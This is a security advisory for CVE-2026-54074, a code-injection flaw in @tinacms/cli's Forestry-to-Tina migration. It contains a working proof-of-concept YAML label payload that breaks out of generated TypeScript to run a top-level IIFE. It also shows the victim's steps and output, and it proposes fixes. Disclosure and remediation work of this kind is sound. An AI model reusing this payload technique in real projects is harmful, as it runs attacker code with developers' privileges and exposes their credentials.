---
id: CVE-2026-54074
title: >-
  @tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration —
  unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels
summary: >-
  @tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration —
  unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels
severity: high
cvss: 7.8
cwe:
  - CWE-94
vendor: tinacms
product: '@tinacms/cli'
ecosystem: npm
affected:
  - '@tinacms/cli < 2.4.3'
patched:
  - '@tinacms/cli 2.4.3'
published: '2026-06-19'
updated: '2026-06-19'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-4936-9hrh-qqpw'
references:
  - url: 'https://github.com/tinacms/tinacms/security/advisories/GHSA-4936-9hrh-qqpw'
  - url: 'https://github.com/tinacms/tinacms/pull/7006'
  - url: >-
      https://github.com/tinacms/tinacms/commit/77665ae73dd4f9563d339535e76fa811a8abdfbb
  - url: 'https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@2.4.3'
  - url: 'https://github.com/advisories/GHSA-4936-9hrh-qqpw'
tags:
  - ghsa
  - npm
ingestedAt: '2026-06-22T13:35:24.373Z'
epss: 0.00251
epssPercentile: 0.1457
---

## Overview

## Description

### Summary

`@tinacms/cli` contains a Remote Code Execution vulnerability in its
Forestry-to-Tina migration command. The internal helper `addVariablesToCode`
unquotes any value matching the marker `"__TINA_INTERNAL__:::(.*?):::"`
inside the stringified collection JSON. User-supplied `label` and `name`
fields from `.forestry/**/*.yml` are placed into that JSON without any
sanitisation. An attacker who controls a Forestry-style project can therefore
inject arbitrary JavaScript into the generated `tina/templates.{ts,js}`
file. The injected code is written at module top level, so it executes
**the moment the developer runs `tinacms dev` or `tinacms build`**, with the
developer's privileges.

### Details

**Vulnerable code path:**

1. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts`
   — `transformForestryFieldsToTinaFields()` writes `forestryField.label`
   (and `.name`) straight into TinaField objects (no sanitisation).
2. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts`,
   lines 16-22 — the regex-based unquoter:

   ```ts
   export const addVariablesToCode = (codeWithTinaPrefix: string) => {
     const code = codeWithTinaPrefix.replace(
       /"__TINA_INTERNAL__:::(.*?):::"/g,
       '$1'
     );
     return { code };
   };
   ```

3. `codeTransformer.ts` lines 80-88 — the field array is
   `JSON.stringify`-ed and then handed to `addVariablesToCode`. Because
   `JSON.stringify` does **not** escape single quotes or backticks, an
   attacker who avoids `"` in the payload survives the JSON pass intact.
4. `packages/@tinacms/cli/src/cmds/init/apply.ts` lines 110-116 — the
   resulting string is written to `tina/templates.{ts,js}` and imported by
   the generated `tina/config.{ts,js}`, which `tinacms dev` evaluates.

**Why it executes immediately:** the regex unquoting allows the attacker's
payload to *close the surrounding object/array and the enclosing
`xxxFields()` function*, drop a top-level IIFE, and then start a dummy
function that swallows the trailing JSON. The IIFE is at module scope,
so it runs the instant `tina/config.ts` imports `./templates`.

### PoC

End-to-end verified against `tinacms` and `@tinacms/cli@2.3.1`, built from
commit `ae1ab5d0f` of `tinacms/tinacms` on Windows 11 + Node.js v24
(behaviour is identical on Node 22).

**Step 1 — attacker prepares a malicious Forestry project**

`.forestry/settings.yml`

```yaml
---
new_page_extension: md
auto_deploy: false
admin_path: ''
webhook_url: ''
sections:
- type: directory
  path: content/posts
  label: Posts
  create: all
  match: "**/*.md"
  templates:
  - rce
```

`.forestry/front_matter/templates/rce.yml`

```yaml
---
label: rce_template
fields:
- name: title
  type: text
  label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::"
```

> **Note on payload encoding.** The original disclosure draft used double
> quotes inside the payload (`console.log("RCE")`). `JSON.stringify` escapes
> those to `\"`, which makes the generated TypeScript syntactically invalid
> and is rejected by Prettier before the file is written. Using single
> quotes or backticks for the inner string literals is required for the
> exploit to succeed.

**Step 2 — victim runs the standard onboarding flow**

```bash
git clone <attacker repo>
cd <attacker repo>
npx tinacms init       # accepts the "migrate Forestry templates?" prompt
npx tinacms dev        # OR: npx tinacms build
```

**Step 3 — generated `tina/templates.ts` (verbatim, from a clean run)**

```ts
import type { TinaField } from "tinacms";
export function rce_templateFields() {
  return [{ type: "string", name: "title", label: 1 }];
}
(function () {                                          // <-- TOP-LEVEL IIFE
  const fs = require("fs");
  const os = require("os");
  fs.writeFileSync(
    require("path").join(os.tmpdir(), "PWNED_PROOF.txt"),
    "RCE triggered on " + os.hostname() + " at " + new Date().toISOString()
  );
  console.log("=== RCE SUCCESSFUL ===");
})();
function _ignore_() {
  return [{ x: 1 }] as TinaField[];
}
```

**Step 4 — observed result**

```
$ npx tinacms dev --noTelemetry --no-server
🦙 TinaCMS Dev Server is initializing...
=== RCE SUCCESSFUL ===
Cannot read properties of undefined (reading 'publicFolder')

$ cat "$TEMP/PWNED_PROOF.txt"
RCE triggered on <hostname> at 2026-05-23T06:57:29.800Z
```

The `=== RCE SUCCESSFUL ===` line is printed **before** the dev server
fails on the (intentionally minimal) config, proving the malicious code
executed during config evaluation.

### Impact

* **Class:** Remote Code Execution (code injection into a generated source
  file that is automatically executed by the dev server/build).
* **Attack vector:** Any developer who runs `tinacms init` on a Forestry
  project they did not author (e.g. a starter template, a community fork,
  a "convert my site to Tina" service, an evaluation of a third-party
  CMS migration) and then runs `tinacms dev` or `tinacms build`.
* **Privileges obtained:** Full execution under the developer's user
  account. Practical consequences include:
  * Exfiltration of environment variables, `.env` files, SSH keys,
    `~/.aws/credentials`, `~/.npmrc` tokens, `~/.config/gh/hosts.yml`.
  * Source-code modification (planting backdoors before the developer's
    next commit / publish).
  * Supply-chain abuse via the developer's `npm publish` and `git push`
    credentials.
  * Persistence via shell rc files or scheduled tasks.
* **Authentication:** None required from the attacker.
* **User interaction:** Required — victim must run the migration and then
  the dev/build command. The migration prompt defaults to "yes".


## Suggested Remediation

Either fix is sufficient; **Option B is preferred** because it is
structurally impossible to bypass and does not silently drop user content.

### Option A — sanitise user-controlled strings (the disclosure draft's proposal)

```ts
// packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts
const sanitizeString = (str: unknown): unknown =>
  typeof str === 'string'
    ? str.replace(/__TINA_INTERNAL__:::/g, '')
    : str;
```

Apply to **every** user-controlled string that flows into a TinaField
object — at minimum `forestryField.label`, `forestryField.name`,
`forestryField.template`, `forestryField.config.options[*]`,
`forestryField.config.source.section`, and the equivalents on nested
`fields`/`template_types` recursive paths.

### Option B — change the marker to a sequence that cannot survive `JSON.stringify` of user data

```ts
// codeTransformer.ts
const MARKER_OPEN  = '__TINA_INTERNAL__';
const MARKER_CLOSE = '/__TINA_INTERNAL__';

export const addVariablesToCode = (s: string) => ({
  code: s.replace(
    new RegExp(`"${MARKER_OPEN}(.*?)${MARKER_CLOSE}"`, 'g'),
    '$1'
  ),
});
```

`JSON.stringify` escapes `` to the six-character sequence
``, so any literal control character supplied via YAML can never
reconstruct the marker. The internal callers (`makeFieldsWithInternalCode`)
keep emitting real `` bytes, so the legitimate flow continues to
work and no user content is silently mutated.

### Defence-in-depth

Regardless of which option ships, the migration code should also:

* Reject `forestryField.label` / `.name` that contain newlines or NUL
  bytes (Forestry never produced them).
* Wrap the eventual `prettier.format(...)` call so that if formatting
  fails the build aborts (today an exception is propagated, which is
  good — keep it that way).

---

## Credit

Reported by **AnGrY-Althaf** (`angry.althaf@gmail.com`).

End-to-end PoC executed locally against
`tinacms@2.3.1` / `@tinacms/cli@2.3.1` built from commit `ae1ab5d0f`
of `https://github.com/tinacms/tinacms`.

## Affected packages

- `@tinacms/cli < 2.4.3`

## Remediation

Upgrade to a patched release:

- `@tinacms/cli 2.4.3`
